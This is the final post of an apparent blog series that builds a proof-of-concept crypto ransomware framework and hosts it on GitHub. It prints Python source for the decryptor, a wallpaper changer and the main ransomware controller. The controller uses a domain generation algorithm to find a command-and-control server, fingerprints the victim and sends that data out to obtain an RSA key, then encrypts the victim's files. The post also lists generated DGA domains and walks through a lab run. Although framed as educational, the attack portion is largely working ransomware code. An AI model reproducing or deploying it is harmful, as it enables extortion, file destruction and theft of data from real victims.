Warning: Please read the Site Disclaimer before proceeding.
This post is the last part of the series Creating a POC Crypto Ransomware Framework. In the previous section, I discussed the encryption process in Crypto Ransomware. In this last post, I ‘ll discuss decryption module and analyze the complete framework.
In real life, the decryption process is ‘said to be’ done after you pay the money to attackers. The decryptor in my framework hosted at https://github.com/pr454nn4kum4r/pkw4r3 is shown in the module ‘decrypt.py’.
from aes_on_single_file import * from caesar_encrypt_decrypt import * from base64 import b64decode from Crypto.PublicKey import RSA from change_wallpaper import * import sys, os, ctypes rsa_key_file = open(sys.argv, 'r') rsa_key = rsa_key_file.read() rsa_key_file.close() rsakey = RSA.importKey(rsa_key) aes_key_file = open('aes_key_file', 'r') encr_aes_key = b64decode(aes_key_file.read()) aes_key_file.close() aes_key = rsakey.decrypt(encr_aes_key) home = os.path.expanduser('~\Desktop') for root, dirs, files in os.walk(home+"\\"): for file in files: if file.endswith(".pkw4r3"): x = os.path.join(root, file) print x dir = os.path.dirname(os.path.abspath(x)) aes_decrypt_file(x,aes_key) print dir+"\\"+caesar_shift(file, (len(file[:-7])%26)*-1)[:-7] os.rename(x,dir+"\\"+caesar_shift(file, (len(file[:-7])%26)*-1)[:-7]) #os.remove(x) change_wallpaper(os.getcwd()+"\decrypted_wallpaper.png")
This module takes RSA private key stored in Victim Manager defined in Creating a POC Crypto Ransomware – 3 as input and decrypts the files encrypted by ransomware. It searches for files with extensions with ‘.pkw4r3’ in Desktop folder. AES Key is retrieved from ‘aes_key_file’ by decrypting it using RSA private key. The retrieved AES key is used to decrypt the ‘.pkw4r3’ encrypted files. Later the filenames of those encrypted files are renamed to original filename using ‘caesar_shift’ function explained in Creating a POC Crypto Ransomware Framework -5. Finally, the wallpaper of the system is changed using ‘change_wallpaper.py’
#Credits to https://stackoverflow.com/a/37669111 import os import struct import ctypes SPI_SETDESKWALLPAPER = 20 def is_64_windows(): """Find out how many bits is OS. """ return struct.calcsize('P') * 8 == 64 def get_sys_parameters_info(): """Based on if this is 32bit or 64bit returns correct version of SystemParametersInfo function. """ return ctypes.windll.user32.SystemParametersInfoW if is_64_windows() \ else ctypes.windll.user32.SystemParametersInfoA def change_wallpaper(WALLPAPER_PATH): sys_parameters_info = get_sys_parameters_info() r = sys_parameters_info(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3) # When the SPI_SETDESKWALLPAPER flag is used, # SystemParametersInfo returns TRUE # unless there is an error (like when the specified file doesn't exist). if not r: print(ctypes.WinError())
This module is used to change the wallpaper of the system
I have written a module ‘ransomware.py’ controlling a complete workflow of the framework.
from id_gen import * from authcode import * from check_dga import * from change_wallpaper import * import encrypt_files import json, bz2, urllib2,base64, ctypes, os #kill switch phase and self delete #intialisation phase #To get the needed domain domain = "" domain = check_dga() if domain=="": exit("No domain found") #Creating Authcode auth_code = create_authcode(); #Fingerprinting the machine fingerprint_values = get_fingerprint(); #Generating a ID for the machine based on fingerprinting ransomware_id = get_ransomware_id(); #Preparing parameter to send compressed = bz2.compress(json.dumps(fingerprint_values)); #Requesting C&C Server for the Public key pub_key = urllib2.urlopen("http://"+domain+"/ransomware/c2c/control.php?if_i_look_back_i_m_lost="+auth_code+"&winter_is_coming="+ransomware_id+"&seven_kingdoms="+base64.b64encode(json.dumps(fingerprint_values))).read() #Encrypt module that generates AES Key that is stored after public key encryption encrypt_files.encrypt_files(pub_key) #change wallpaper change_wallpaper(os.getcwd()+"\encrypted_wallpaper.png") print "Files are encrypted!!!"
Based on the code, after kill switch control conditions and initialization phase (left to user’s choice), DGA is called. Later based on the domains generated by the DGA, the correct domain is retrieved using ‘check_dga’, to connect to C&C Server. The next phase involves generating the authentication code, fingerprinting the system and generating a ransomware ID. The values generated are used to ask an RSA public key from C&C Server. This public key is used to encrypt AES key which is used for AES Encryption of the files in hardcoded folders and files with hardcoded extensions in the victim’s system. Finally, the wallpaper of the system is changed.
I will present how my proof of concept runs on a lab machine.
- Kali Machine as C&C Server
- Windows Machine with Python, Pycrypto installed as a victim.
Using generate_dga.py, I generate a set of domains
>>>from generate_dga import * >>>domains = generate_dga() >>>for domain in domains: >>>print domain kingdomoftherockhouselannister996.stormlab ljohepnpguifspdlipvtfmboojtufs996.stormlab mkpifqoqhvjgtqemjqwugncppkuvgt996.stormlab nlqjgrpriwkhurfnkrxvhodq.qlvwhu996.stormlab omrkhsqsjxlivsgolsywiperrmwxiv996.stormlab .... gejczkikbpdankygdkqoahwjjeopan996.stormlab hfkdaljlcqebolzhelrpbixkkfpqbo996.stormlab iglebmkmdrfcpmaifmsqcjyllgqrcp996.stormlab jhmfcnlnesgdqnbjgntrdkzmmhrsdq996.stormlab
Choosing a random domain from the generate domains for the day (say, gejczkikbpdankygdkqoahwjjeopan996.stormlab), adding it to victim’s ‘hosts’ file to mimic the process of attacker registering the domain using ‘Command Prompt’ with Administrator access.
192.168.21.141 is the IP of Kali Machine which is acting as C&C Server. Start the Apache server and host the c&C server &victim manager code.
The following screenshot shows the “Desktop” before ransomware is executed.
Running ransomware.py, files are encrypted in Desktop and wallpaper has been changed.
Listing the files
Viewing the HTTP Stream using Wireshark
Checking the ‘victims’ folder in Kali Machine
checking the JSON file
Summary.txt has the details of the victim.
Using the .pem file from the private folder, as argument run decrypt.py to decrypt and retrieve original files
Note: Please delete the folder related to the victim in ‘victims’ folder, if you are testing the POC multiple times within the same environment.
This proof of concept shows the functionalities used in a typical Crypto Ransomware. Although each ransomware has its own features, algorithms, custom protocols, I hope this proof of concept help the readers understand the basics of Crypto Ransomware.
Credits and Resources
It was an indeed a great learning experience for me. I feel immensely good for sharing my work with the readers. I have referred various resources to this project. Lots of credits for the StackOverflow and the authors of some of my code snippets ( credited in code snippet itself). Here are some important links which might benefit you.
- A closer look at the Locky ransomware
- End-to-End Analysis of a Domain Generating Algorithm Malware Family
- Explained: Domain Generating Algorithm
- A Technical Analysis of WannaCry Ransomware